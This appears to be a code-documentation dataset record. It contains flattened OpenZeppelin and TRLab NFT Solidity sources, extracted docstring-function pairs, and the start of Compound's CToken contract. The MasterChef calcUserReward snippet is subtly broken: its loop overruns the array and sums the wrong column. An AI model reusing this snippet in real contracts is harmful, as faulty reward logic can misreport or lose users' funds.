function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../lib/LibArtwork.sol";
/// @title Interface of TRLab NFT core contract
/// @author Joe
/// @notice This is the interface of TRLab NFT core contract
interface ITRLabCore {
/// @notice This event emits when a new NFT token has been minted.
/// @param id uint256 the id of the minted NFT token.
/// @param owner address the address of the token owner.
/// @param artworkId uint256 the id of the artwork of this token.
/// @param printEdition uint32 the print edition of this token.
/// @param tokenURI string the metadata ipfs URI.
event ArtworkReleaseCreated(
uint256 indexed id,
address indexed owner,
uint256 indexed artworkId,
uint32 printEdition,
string tokenURI
);
/// @notice This event emits when a batch of NFT tokens has been minted.
/// @param artworkId uint256 the id of the artwork of this token.
/// @param printEdition uint32 the new print edition of this artwork.
event ArtworkPrintIndexUpdated(uint256 indexed artworkId, uint32 indexed printEdition);
event NewArtworkStore(address indexed storeAddress);
/// @notice This event emits when an artwork has been burned.
/// @param artworkId uint256 the id of the burned artwork.
event ArtworkBurned(uint256 indexed artworkId);
/// @dev sets the artwork store address.
/// @param _storeAddress address the address of the artwork store contract.
function setStoreAddress(address _storeAddress) external;
/// @dev set the royalty of a token. Can only be called by owner at emergency
/// @param _tokenId uint256 the id of the token
/// @param _receiver address the receiver address of the royalty
/// @param _bps uint256 the royalty percentage in bps
function setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint256 _bps
) external;
/// @dev set the royalty of tokens. Can only be called by owner at emergency
/// @param _tokenIds uint256[] the ids of the token
/// @param _receiver address the receiver address of the royalty
/// @param _bps uint256 the royalty percentage in bps
function setTokensRoyalty(
uint256[] calldata _tokenIds,
address _receiver,
uint256 _bps
) external;
/// @notice Retrieves the artwork object by id
/// @param _artworkId uint256 the address of the creator
/// @return artwork the artwork object
function getArtwork(uint256 _artworkId) external view returns (LibArtwork.Artwork memory artwork);
/// @notice Creates a new artwork object, artwork creator is _msgSender()
/// @param _totalSupply uint32 the total allowable prints for this artwork
/// @param _metadataPath string the ipfs metadata path
/// @param _royaltyReceiver address the royalty receiver
/// @param _royaltyBps uint256 the royalty percentage in bps
function createArtwork(
uint32 _totalSupply,
string calldata _metadataPath,
address _royaltyReceiver,
uint256 _royaltyBps
) external;
/// @notice Creates a new artwork object and mints it's first release token.
/// @dev No creations of any kind are allowed when the contract is paused.
/// @param _totalSupply uint32 the total allowable prints for this artwork
/// @param _metadataPath string the ipfs metadata path
/// @param _numReleases uint32 the number of tokens to be minted
/// @param _royaltyReceiver address the royalty receiver
/// @param _royaltyBps uint256 the royalty percentage in bps
function createArtworkAndReleases(
uint32 _totalSupply,
string calldata _metadataPath,
uint32 _numReleases,
address _royaltyReceiver,
uint256 _royaltyBps
) external;
/// @notice mints tokens of artwork.
/// @dev No creations of any kind are allowed when the contract is paused.
/// @param _artworkId uint256 the id of the artwork
/// @param _numReleases uint32 the number of tokens to be minted
function releaseArtwork(uint256 _artworkId, uint32 _numReleases) external;
/// @notice mints tokens of artwork in behave of receiver. Designed for buy-now contract.
/// @dev No creations of any kind are allowed when the contract is paused.
/// @param _receiver address the owner of the new nft token.
/// @param _artworkId uint256 the id of the artwork.
/// @param _numReleases uint32 the number of tokens to be minted.
function releaseArtworkForReceiver(
address _receiver,
uint256 _artworkId,
uint32 _numReleases
) external;
/// @notice get the next token id
/// @return the last token id
function getNextTokenId() external view returns (uint256);
/// @dev getter function for approvedTokenCreators mapping. Check if caller is approved creator.
/// @param caller address the address of caller to check.
/// @return true if caller is approved creator, otherwise false.
function approvedTokenCreators(address caller) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library LibArtwork {
struct Artwork {
address creator;
uint32 printIndex;
uint32 totalSupply;
string metadataPath;
address royaltyReceiver;
uint256 royaltyBps; // royaltyBps is a value between 0 to 10000
}
struct ArtworkRelease {
// The unique edition number of this artwork release
uint32 printEdition;
// Reference ID to the artwork metadata
uint256 artworkId;
}
struct ArtworkOnSaleInfo {
address takeTokenAddress; // only accept erc20, should use WETH
uint256 takeAmount;
uint256 startTime; // timestamp in seconds
uint256 endTime;
uint256 purchaseLimit;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../lib/LibArtwork.sol";
import "./ITRLabCore.sol";
/// @title Interface for NFT buy-now in a fixed price.
/// @author Joe
/// @notice This is the interface for fixed price NFT buy-now.
interface IBuyNow {
/// @notice This event emits when a new artwork has been put on sale.
/// @param artworkId uint256 the id of the on sale artwork.
/// @param onSaleInfo the on sale object.
event ArtworkOnSale(uint256 indexed artworkId, LibArtwork.ArtworkOnSaleInfo onSaleInfo);
/// @dev Sets the trlab nft core contract address.
/// @param _trlabCore address the address of the trlab core contract.
function setTRLabCore(address _trlabCore) external;
/// @dev Sets the trlab wallet to receive NFT sale income.
/// @param _trlabWallet address the address of the trlab wallet.
function setTRLabWallet(address _trlabWallet) external;
/// @dev setup an artwork for sale
/// @param _artworkId uint256 the address of the trlab wallet.
/// @param _onSaleInfo the ArtworkOnSaleInfo object.
function putOnSale(uint256 _artworkId, LibArtwork.ArtworkOnSaleInfo memory _onSaleInfo) external;
/// @notice buy one NFT token of specific artwork. Needs a proper signature of allowed signer to verify purchase.
/// @param _artworkId uint256 the id of the artwork to buy.
/// @param v uint8 v of the signature
/// @param r bytes32 r of the signature
/// @param s bytes32 s of the signature
function buyNow(
uint256 _artworkId,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../lib/LibRoles.sol";
abstract contract SignerRole is Context {
using LibRoles for LibRoles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
LibRoles.Role private _signers;
constructor() {
_addSigner(_msgSender());
}
modifier onlySigner() {
require(isSigner(_msgSender()), "SignerRole: caller does not have the Signer role");
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public virtual onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(_msgSender());
}
function _verifySignedMessage(
bytes32 messageHash,
uint8 v,
bytes32 r,
bytes32 s
) internal view returns (bool) {
address recoveredSigner = ECDSA.recover(ECDSA.toEthSignedMessageHash(messageHash), v, r, s);
return isSigner(recoveredSigner);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
} else {
revert("ECDSA: invalid signature length");
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library LibRoles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
|
Interface for NFT buy-now in a fixed price. Joe This is the interface for fixed price NFT buy-now.
|
interface IBuyNow {
event ArtworkOnSale(uint256 indexed artworkId, LibArtwork.ArtworkOnSaleInfo onSaleInfo);
function setTRLabCore(address _trlabCore) external;
function setTRLabWallet(address _trlabWallet) external;
function putOnSale(uint256 _artworkId, LibArtwork.ArtworkOnSaleInfo memory _onSaleInfo) external;
function buyNow(
uint256 _artworkId,
uint8 v,
bytes32 r,
bytes32 s
) external;
pragma solidity ^0.8.0;
}
| 329,027 |
./full_match/42/0x988b262D8E905ef23fdaBd4bf8236DB79656D469/sources/MasterChef.sol
|
PoolInfo storage pool = poolInfo[_pid];userRewardamount = userRewardamount+(useramount userrewardPerShare);
|
function calcUserReward(uint256 _pid, address _user) public view returns (uint256){
UserInfo storage user = userInfo[_pid][_user];
uint256 userrewardPerShare = 0;
for(uint i=1; i <= RewardBlockRate.length;i++)
{
if(user.userStartBlock >= RewardBlockRate[i][1] && RewardBlockRate[i][0] == _pid)
{
userrewardPerShare = userrewardPerShare.add(RewardBlockRate[i][1]);
}
}
return userrewardPerShare;
}
| 9,594,258 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./CTokenInterfaces.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./EIP20Interface.sol";
import "./EIP20NonStandardInterface.sol";
import "./InterestRateModel.sol";
/**
* @title Compound's CToken Contract
* @notice Abstract base for CTokens
* @author Compound
*/
abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the comptroller
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// Initialize block number and borrow index (block number mocks depend on comptroller being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
